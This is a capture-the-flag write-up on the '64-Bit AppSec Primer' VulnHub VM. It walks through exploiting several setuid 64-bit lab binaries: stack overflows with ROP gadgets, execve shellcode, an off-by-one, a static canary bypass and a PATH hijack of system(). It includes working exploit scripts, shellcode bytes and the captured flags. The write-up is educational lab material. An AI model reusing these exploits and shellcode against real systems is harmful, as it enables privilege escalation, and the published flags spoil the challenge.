The Pentesters: 64-Bit AppSec Primer (Beta) hacking challenge
I was quite excited when this VM was posted on VulnHub and downloaded it right away. Exploiting and reverse engineering 64-bit binaries, and you get a chance to win a prize? Sign me up! Unfortunately I started to lose motivation when I found out that the author accidentally pushed out the beta version of the VM which includes errors such as ASLR being left on, and a challenge being unsolvable, among possible other bugs.
Still, I did what I could until I lost interest. Here’s a writeup of the challenges I solved. If you’re interested in giving it a go, grab it from here. I might give this another run if the final version is made available. The official decription of the contest can be found here.
Level 1
When I initially solved this challenge, ASLR was turned on and so it seemed ridiculously hard compared to the level 2 challenge. After a few hours of analysis and trial and error, I found a solution.
The obvious vulnerability was that strcpy() was writing past the buffer and overwriting the saved return pointer in vuln()
[0x004004c0]> [email protected]
╒ (fcn) sym.vuln 38
│ ; var int local_40h @ rbp-0x40
│ ; var int local_48h @ rbp-0x48
│ ; CALL XREF from 0x00400633 (sym.main)
│ 0x004005b6 55 push rbp
│ 0x004005b7 4889e5 mov rbp, rsp
│ 0x004005ba 4883ec50 sub rsp, 0x50
│ 0x004005be 48897db8 mov qword [rbp - local_48h], rdi
│ 0x004005c2 488b55b8 mov rdx, qword [rbp - local_48h]
│ 0x004005c6 488d45c0 lea rax, [rbp - local_40h]
│ 0x004005ca 4889d6 mov rsi, rdx
│ 0x004005cd 4889c7 mov rdi, rax
│ 0x004005d0 e89bfeffff call sym.imp.strcpy
│ 0x004005d5 b801000000 mov eax, 1
│ 0x004005da c9 leave
╘ 0x004005db c3 ret
Using a cyclic pattern, it became obvious that the saved return pointer could be overwritten at offset 72.
gdb-peda$ r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Starting program: /root/work/level01/chall1 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Bet ya can't pwn me!
#n00b
[----------------------------------registers-----------------------------------]
RAX: 0x1
RBX: 0x0
RCX: 0x7fee3aa69ed0 (<__strcpy_sse2_unaligned+1104>: movdqu xmm0,XMMWORD PTR [rsi])
RDX: 0xf
RSI: 0x7ffe5c6d6940 ("aaawaaaxaaayaaa")
RDI: 0x7ffe5c6d5135 ("aaawaaaxaaayaaa")
RBP: 0x6161617261616171 ('qaaaraaa')
RSP: 0x7ffe5c6d5128 ("saaataaauaaavaaawaaaxaaayaaa")
RIP: 0x4005db (<vuln+37>: ret)
R8 : 0x7fee3ad8d9e0 --> 0x0
R9 : 0x0
R10: 0x7ffe5c6d4e90 --> 0x0
R11: 0x7fee3ab45360 --> 0xfff24a90fff24a80
R12: 0x4004c0 (<_start>: xor ebp,ebp)
R13: 0x7ffe5c6d5220 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4005d0 <vuln+26>: call 0x400470 <strcpy@plt>
0x4005d5 <vuln+31>: mov eax,0x1
0x4005da <vuln+36>: leave
=> 0x4005db <vuln+37>: ret
0x4005dc <main>: push rbp
0x4005dd <main+1>: mov rbp,rsp
0x4005e0 <main+4>: sub rsp,0x10
0x4005e4 <main+8>: mov DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7ffe5c6d5128 ("saaataaauaaavaaawaaaxaaayaaa")
0008| 0x7ffe5c6d5130 ("uaaavaaawaaaxaaayaaa")
0016| 0x7ffe5c6d5138 ("waaaxaaayaaa")
0024| 0x7ffe5c6d5140 --> 0x61616179 ('yaaa')
0032| 0x7ffe5c6d5148 --> 0x7fee3a9eef45 (<__libc_start_main+245>: mov edi,eax)
0040| 0x7ffe5c6d5150 --> 0x0
0048| 0x7ffe5c6d5158 --> 0x7ffe5c6d5228 --> 0x7ffe5c6d68d1 ("/root/work/level01/chall1")
0056| 0x7ffe5c6d5160 --> 0x200000000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x00000000004005db in vuln ()
gdb-peda$ shell cyclic -o saaa
72
gdb-peda$
However, where to return to? Null bytes will truncate the payload with strcpy(), so I could only return once. With a bit of experimenting, I found that I could provide multiple arguments to the program and see them on the stack:
0256| 0x7ffe34464778 --> 0x7ffe34465843 ("/root/work/level01/chall1")
0264| 0x7ffe34464780 --> 0x7ffe3446585d ('A' <repeats 80 times>)
0272| 0x7ffe34464788 --> 0x7ffe344658ae ('B' <repeats 80 times>)
0280| 0x7ffe34464790 --> 0x7ffe344658ff ('C' <repeats 80 times>)
I found that right before vuln() returned, the saved return pointer would be 200 bytes from the third argument. I found a perfect gadget that would shift the stack so that it would return to the contents of the third argument:
0x000000000040069d : pop rsp; pop r13; pop r14; pop r15; ret;
Since NX was disabled, the stack was executable, and so if I stored my shellcode in the third argument, I could execute it. Easiest way to do it was to create two scripts. The first would create “in.txt”, which would overwrite the saved return pointer and return to the series of pop gadgets, and the second script would create “shellcode.txt”, which just contained an execve() shellcode.
Here’s the first script to overwrite RIP:
#!/usr/bin/env python
from pwn import *
buf = ""
buf += "A"*72
buf += p64(0x000000000040069d) # pop rsp; pop r13; pop r14; pop r15; ret;
open("in.txt", "w").write(buf)
And the second script to write out the execve() shellcode:
#!/usr/bin/env python
from pwn import *
context(os="linux", arch="amd64")
open("shellcode.txt", "w").write(asm(shellcraft.linux.sh()))
Copy both in.txt and shellcode.txt to the target and pass them as the first and third arguments to the chall1 binary to get a shell:
n00b@64bitprimer:~/level1$ ./chall1 `cat /tmp/level1/in.txt` xxxx `cat /tmp/level1/shellcode.txt`
Bet ya can't pwn me!
#n00b
$ cat flag*
flag{s33_64bit_1snt_4s_h4rd_4s_y0u_th0ught}
Level 2
This was easy. I loaded up the binary in radare2 and examined the disassembly of the checkPassword function:
[0x00400600]> [email protected]
╒ (fcn) sym.checkPassword 57
│ ; var int local_8h @ rbp-0x8
│ ; CALL XREF from 0x00400859 (sym.main)
│ 0x004007db 55 push rbp
│ 0x004007dc 4889e5 mov rbp, rsp
│ 0x004007df 4883ec10 sub rsp, 0x10
│ 0x004007e3 48897df8 mov qword [rbp - local_8h], rdi
│ 0x004007e7 488b45f8 mov rax, qword [rbp - local_8h]
│ 0x004007eb be04094000 mov esi, str.sup3rs3cr3tp4ssw0rd ; "sup3rs3cr3tp4ssw0rd" @ 0x400904
│ 0x004007f0 4889c7 mov rdi, rax
│ 0x004007f3 e8d8fdffff call sym.imp.strcmp
│ 0x004007f8 85c0 test eax, eax
│ ┌─< 0x004007fa 750c jne 0x400808
│ │ 0x004007fc b800000000 mov eax, 0
│ │ 0x00400801 e8e7feffff call sym.doDec
│ ┌──< 0x00400806 eb0a jmp 0x400812
│ ││ ; JMP XREF from 0x004007fa (sym.checkPassword)
│ │└─> 0x00400808 bf18094000 mov edi, str.Try_again. ; "Try again." @ 0x400918
│ │ 0x0040080d e87efdffff call sym.imp.puts
│ │ ; JMP XREF from 0x00400806 (sym.checkPassword)
│ └──> 0x00400812 c9 leave
╘ 0x00400813 c3 ret
[0x00400600]>
Radare2 finds the password as sup3rs3cr3tp4ssw0rd
Sure enough, it returns the flag:
n00b@64bitprimer:~/level2$ ./chall2
Please enter your password.
sup3rs3cr3tp4ssw0rd
Congrats you passed challenge2! flag{st4tic_str1ngs_m4ke_l1fe_e4sy}
Level 3
The author later announced that this challenge was unsolvable and was therefore only DoS only.
The vulnerability lies in checkPasswd() when it gets our input. It uses read() to get up to 512 bytes, and then it uses strlen() to get determine the number of bytes that were read. However, it appears to store the return value of streln() in a char instead of an int. This becomes relevant because it checks if the value is greater than 3 and less than 8. If it is, then it moves on to a branch which uses memcpy() which can be used to overerwrite the saved return pointer.
0x0000000000400749 <+83>: call 0x4005a0 <read@plt>
0x000000000040074e <+88>: lea rax,[rbp-0x240]
0x0000000000400755 <+95>: mov rdi,rax
0x0000000000400758 <+98>: call 0x400580 <strlen@plt>
0x000000000040075d <+103>: mov BYTE PTR [rbp-0x1],al
0x0000000000400760 <+106>: cmp BYTE PTR [rbp-0x1],0x3
0x0000000000400764 <+110>: jbe 0x4007a5 <checkPasswd+175>
0x0000000000400766 <+112>: cmp BYTE PTR [rbp-0x1],0x8
0x000000000040076a <+116>: ja 0x4007a5 <checkPasswd+175>
Since it only checks the value of the al register, we can actually pass a much larger value, like 256 (0x104), and it will be read as 0x4 bytes. This passes the check that the length is between 3 and 8, and thus goes to the memcpy() branch:
[-------------------------------------code-------------------------------------]
0x400785 <checkPasswd+143>: lea rax,[rbp-0x30]
0x400789 <checkPasswd+147>: mov rsi,rcx
0x40078c <checkPasswd+150>: mov rdi,rax
=> 0x40078f <checkPasswd+153>: call 0x4005c0 <memcpy@plt>
0x400794 <checkPasswd+158>: mov edi,0x4008ed
0x400799 <checkPasswd+163>: call 0x400570 <puts@plt>
0x40079e <checkPasswd+168>: mov eax,0x1
0x4007a3 <checkPasswd+173>: jmp 0x4007b4 <checkPasswd+190>
Guessed arguments:
arg[0]: 0x7fffffffe610 --> 0x7fffffffe760 --> 0x7fffffffe952 ("HOSTNAME=64bit")
arg[1]: 0x7fffffffe400 ('A' <repeats 200 times>...)
arg[2]: 0x104
arg[3]: 0x7fffffffe400 ('A' <repeats 200 times>...)
memcpy() will copy 0x104 bytes into the buffer, however, the saved return pointer is only 56 bytes away from the buffer. This will surely cause it to be overwritten, which will crash the program.
n00b@64bitprimer:/tmp/l3$ cat in.txt | ./chall3 a
Valid username.
Welcome, a!
What is your password?
Nope. n0 shellz4u.
Segmentation fault (core dumped)
Unfortunately this does not seem exploitable since strlen() is used to determine the length to memcpy(). The saved return pointer is overwritten at offset 56, so strlen() will return 56 bytes when it sees the null bytes in a 64-bit address, which will prevent the memcpy() branch from being evaluated.
However, the above case with the segmentation fault should satisfy the DoS-only requirements for this challenge.
Level 6
chall6 requires an argument of up to 64-bytes. strcpy() is called in vuln() but it doesn’t overwrite the saved return pointer. However, it does cause an off-by-one overwrite. If I pass in 64 “A”s, I can see that RBP is set to the following right before strcpy() is called:
RBP: 0x7fffffffeaf0 --> 0x7fffffffeb10 --> 0x0
After strcpy(), RBP’s last byte has been set to 0x00 which causes it to point to a different location.
RBP: 0x7fffffffeaf0 --> 0x7fffffffeb00 --> 0x7fffffffebf8 --> 0x7fffffffedf5 ("/tmp/l6/chall6")
This causes main() to return to a different address. I found that I could get it to return to my payload of 64 “A”s by adding additional arguments which shifts the stack a little. A bit of trial and error was required. For instance, in gdb, if I passed in the following:
gdb-peda$ r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA aaaa aaaa aaaa aaaa aaaa aaaa aaaa
Then main() would return to the payload of “A”s:
[-------------------------------------code-------------------------------------]
0x400711 <main+112>: call 0x40065d <vuln>
0x400716 <main+117>: mov eax,0x0
0x40071b <main+122>: leave
=> 0x40071c <main+123>: ret
0x40071d: nop DWORD PTR [rax]
0x400720 <__libc_csu_init>: push r15
0x400722 <__libc_csu_init+2>: mov r15d,edi
0x400725 <__libc_csu_init+5>: push r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffea08 --> 0x7fffffffede1 ('A' <repeats 64 times>)
0008| 0x7fffffffea10 --> 0x7fffffffea50 ('A' <repeats 64 times>)
0016| 0x7fffffffea18 --> 0x842
0024| 0x7fffffffea20 --> 0x0
0032| 0x7fffffffea28 --> 0x7ffff7ffe1c8 --> 0x0
0040| 0x7fffffffea30 --> 0x0
0048| 0x7fffffffea38 --> 0x40068e (<vuln+49>: jmp 0x40069a <vuln+61>)
0056| 0x7fffffffea40 --> 0xa ('\n')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 3, 0x000000000040071c in main ()
With that in mind, I created a file “in.txt” which had 40 bytes of NOPs followed by execve() shellcode:
n00b@64bitprimer:/tmp/l6$ xxd -g1 in.txt
0000000: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000010: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000020: 90 90 90 90 90 90 90 90 6a 68 48 b8 2f 62 69 6e ........jhH./bin
0000030: 2f 2f 2f 73 50 6a 3b 58 48 89 e7 31 f6 99 0f 05 ///sPj;XH..1....
I played around with the arguments for a bit until I found one that worked and gave me a shell:
n00b@64bitprimer:/tmp/l6$ /opt/challenges/level6/chall6 `cat in.txt` aaaa aaaa aaaa
Bet ya can't pwn me!
#n00b
$ id
uid=1017(n00b) gid=1017(n00b) euid=1006(level6) groups=1006(level6),1017(n00b)
$ cat /opt/challenges/level6/flag-level6
flag{0ff_by_0n3_hmmmmm_sh*t_n33d_t0_f1x_th4t_0ne}
Level 9
This binary utilizes its own custom canary to ensure that the saved return pointer isn’t overwritten. However, the canary’s value is static and can be easily seen in radare2:
│ 0x00400658 48b8efbeadde. movabs rax, 0xdeadbeefdeadbeef
│ 0x00400662 483145f8 xor qword [rbp - local_8h], rax
│ 0x00400666 48837df800 cmp qword [rbp - local_8h], 0
│ ┌─< 0x0040066b 7405 je 0x400672
│ │ 0x0040066d e884ffffff call sym.deadCanary
│ │ ; JMP XREF from 0x0040066b (sym.foo)
│ └─> 0x00400672 bff1074000 mov edi, str._loser ; "#loser" @ 0x4007f1
I set a breakpoint at 0x00400666, where the value of the canary is checked, and sent a cyclic pattern of 0x40 bytes to the binary. Using the value at rbp-0x8, I determined that the canary was overwritten at offset 40. I also checked the value of the saved return pointer, and determined that it was overwritten at offset 56. It was an easy matter to create a payload to overwrite the canary with 0xdeadbeefdeadbeef and return to wherever I wanted.
Since ASLR and NX were disabled, I opted to store my shellcode in an environment variable and return to it. I used getenvaddr.c to get its address:
n00b@64bitprimer:~/level9$ export EGG=`python -c 'print "jhH\xb8/bin///sPj;XH\x89\xe71\xf6\x99\x0f\x05"'`
n00b@64bitprimer:~/level9$ /tmp/l9/getenvaddr EGG ./chall9
EGG will be at 0x7fffffffeea6
Here’s the exploit:
#!/usr/bin/env python
from struct import *
buf = ""
buf += "A"*40
buf += "\xef\xbe\xad\xde"
buf += "\xef\xbe\xad\xde"
buf += "A"*(56 - len(buf))
buf += pack("<Q", 0x7fffffffeea6)
open("in.txt", "w").write(buf)
And finally, getting the flag by passing in.txt into chall9:
n00b@64bitprimer:~/level9$ (cat /tmp/l9/in.txt ; cat) | ./chall9
Inject buffer dude, but watch out for the birds.
#loser
id
uid=1017(n00b) gid=1017(n00b) euid=1009(level9) groups=1009(level9),1017(n00b)
cat flag-level9
flag{b3_c4r3ful_sm4sh1ng_th3_st4ck_y0u_m1ght_k1ll_th3_c4nar1es_t00}
Level 10
We’re given a binary that drops us into some kind of shell. The shell supports several commands, but the one command that drew my interest was the doExit() function.
│ 0x00400af2 bfd9154000 mov edi, str.rm__tmp_history ; "rm /tmp/history" @ 0x4015d9
│ 0x00400af7 e8c4fcffff call sym.imp.system
Here it’s calling system(“rm /tmp/history”) without passing an absolute path to system(). This meant I could modify my PATH environment variable to run my own script called /tmp/rm that would read the contents of flag-level10
n00b@64bitprimer:~/level10$ export PATH=/tmp:${PATH}
n00b@64bitprimer:~/level10$ cat /tmp/rm
#!/bin/dash
cat /opt/challenges/level10/flag-level10
Finally, running chall10 and exiting returns the flag:
n00b@64bitprimer:~/level10$ ./chall10
pwnsh> exit
flag{pwnsh_1snt_4s_s4fe_4s_1t_s0unds}
We hoped you enjoy your experience with pwnsh!
Thank you, and remember, stay civil folks.
Goodbye, n00b.
And that’s it. Good VM with some potential, but ultimately hampered by some bugs. I hope the final version makes it out online all fixed up, and I’d be interested to give it another go then.